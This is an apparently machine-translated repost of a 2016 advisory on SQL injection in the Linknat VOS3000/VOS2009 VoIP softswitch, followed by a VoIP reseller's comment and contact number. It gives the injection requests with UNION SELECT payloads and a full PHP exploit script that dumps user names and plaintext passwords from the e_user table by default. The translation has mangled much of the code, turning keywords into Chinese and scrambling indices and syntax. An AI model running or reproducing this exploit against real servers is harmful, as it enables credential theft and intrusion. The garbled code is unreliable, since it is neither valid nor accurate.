林克纳特VOS2009/VOS3000 SQL 注入
从: 奥萨马· <osama ()=”” codinghazard=”” com=””>哈立德 日
期: 2016年5月19日 星期四 16:52:54 +0500</osama>
在 Linknat VOS3000/VOS2009 中发现了 SQL 注入,这是一种流行的 VoIP
软开关,可以允许远程攻击者访问
以纯文本存储的凭据。
应用: Linknat VOS3000/VOS2009
受影响的版本: 2.1.1.5, 2.1.1.8, 2.1.2.0
供应商 URL: http://www.linknat.com/
错误: SqLi (具有 DBA 特权)
类型:远程
分辨率:已修复,升级到 2.1.2.4 或 2.1.6.0 清洁版本
型号: 吴云-2015-145458 -
http://www.wooyun.org/bugs/wooyun-2010-0145458
SQLi 报告是基于时间的盲人。 因为它不是带内SQLi,
结果可以从欢迎的输出中收集.jsp期间
会话。
(第一次请求)
邮政http://target/eng/login.jsp
PARAM 登录类型=1
名称=' 联合选择 1,2,@@version",'你好',5,6#
通过'或'''''
(同一会话期间的第二个请求)
获取http://target/eng/welcome.jsp
结果 0=' 联合选择
1,2,@@version,"你好",5,6#1=5.0.51a社区[hello{0.00]0.00]
<?php
#
# Linknat VOS2009/VOS3000 SQLi exploit
#
# DISCLAIMER: The [ EXPLOIT CODE ]exploit is to be used for educational purposes only
# The author would not be responsible for any misuse
#
# AUTHOR: Osama Khalid
# WEBSITE: http://www.codinghazard.com/
# DATE: 19/05/2016
# REF: http://www.wooyun.org/bugs/wooyun-2010-0145458
if ($argc < 2) {
banner();
usage();
exit;
}
$host = $argv;
$column_one = isset($argv) ? $argv :[1] "loginname";
$column_two [2] = isset[2]($argv) ? $argv : "password";
$table [3] = iss[3]et($argv) ? $argv : "e_user";
$other [4] = is[4]set($argv) ? $argv : "";
function ba[5]nner() {[5]
echo "########################################n";
echo "# #n";
echo "# Linknat VOS3000/VOS2009 SQLi exploit #n";
echo "# #n";
echo "# Osama Khalid #n";
echo "########### codinghazard.com ###########n";
}
function usage() {
echo "n";
echo "php vos3000.php[HOST] n";
echo "php vos3000.php 127.0.0.1n";
echo "php vos300[HOST]0[COL1].[COL2]p[TABLE]h[OTHER SQL]p n";
echo "php vos3000.php 127.0.0.1 table_schema table_name
information_schema.tables "where table_schema = 'mysql'"
n";
}
function curl($url, $post = array(), $cookies = null, $header = false) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($curl, CURLOPT_HEADER, $header);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
if ($cookies != null)
curl_setopt($curl, CURLOPT_COOKIE, $cookies);
if (count($post) > 0) |
foreach ($po[]st为 $key [> $value)
$post_项目 = $key 。'=' .urlencode ($value);
$post_string = 内爆('&',$post_项);
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,$post_string);
}
$data = curl_exec($curl);
curl_close($curl);
返回$data;
}
函数查询($host$query) |
$data = 卷曲("http://$host/eng/登录.jsp";, 数组(
"登录类型"=> 1,
"名称"=>"联盟"。$query."#",
"通过" > "或"""""""""""""""""""""""""""""""""""""""""
),空,真);
preg_match_all('|设置曲奇: (.*$matches $data);
$cooki[1]es = 内爆 (';",$matches);
$data = 卷曲("http://$host/eng/欢迎.jsp";, 数组 (), $cookies, 假);
$parts = 爆炸("=",修剪($data);
如果 (计数($parts) < 7)
return false;
return array($[3]parts, [4]$parts);
}
function ascii_table($data) {
$keys = array_keys(end($data));
$wid = array_map('strlen', $keys);
foreach($data as $row) {
foreach(array_values($row) as $k => $[$k]v)
[$k] $wid = 最大值($wid,条纹($v);
}
前 ($wid作为$k [> $v)]
[$k] $fmt = "%-[$v]";
[$k] $sep = str_repeat ('-', $v);
}
$fmt "' .内爆(')', $fmt) 。' |';
$sep = "=-" 。爆裂('-=-',$sep)。'-+';
$buf = 数组($sep,vsprintf($fmt,$keys),$sep);
每一$data ($row) |
$buf = vsprin[]tf($fmt,$row);
$buf = $sep;[]
}
返回内爆("n",$buf);
}
横幅();
回音"n";
回音"目标:$hostn";
回音"列#1:$column_onen";
回音"列#2:$column_2n";
回音"表:$tablen";
回音"其他:$othern";
回音"n";
$results = 数组();
$count_result = 查询($host,"选择 1,2,COUNT(*),4,5,6 $table
$other");
如果 ($count_结果) |
$count = intval($count_结果);
回音"$count行...n";
用于 ($i=0;$i<$count; $i++)="" {="" $q="SELECT 1,2,HEX($col[0]umn_one),HEX($column_two),5,6 FROM $table
$other LIMIT " .="" $i="" .="" ",1";="" $result="query($host," $q);="" if="" ($result)="" {="" echo="" "r"="" .="" ($i+1)="" .="" "]t"="" .="" $column_one="" .="" "=" .
hex2bin($result) . " ,="" "="" .="" $column_two="" .="" "=" . hex2bin($result) [0].
" n";="" }="" else="" {="" echo="" "error=[1]"" retrieving="" row="" "="" .="" ($i+1)="" .="" "n";="" }="" $results="array($column_one" =="">十六进制 ($[]result), $column_2
•>十六进制($result);使[0]用十进制十六进制($result));$result十六进制"[1];$result十六进制";$result
}
如果 (计数 ($results) > 0) |
回显"nn"。ascii_table($results) ."n";
}
[否则]
回显"错误检索行计数";
}
?></$count;>
从 2016 年人们使用一些 sql 注入软产品来破解 VOS3000, 我们有自己的安全系统, 从那个时候开始, 我们更新我们的安全系统太强了, 我的工作重点总是为 voip 软切换的安全. 大多数时候,我给免费的建议或共享信息尽可能免费。 仍然有很多脏东西跑来跑去, 所以请永远小心, 知道更多。 否则,你永远无法做好生意。 现在一天人们使用在VOS3000客户端软件中隐藏的脚本或恶意软件来破解VOS服务器。
更多帮助敲我在 whatsapp: +880191119966 – 我会做帮助所有的方式。



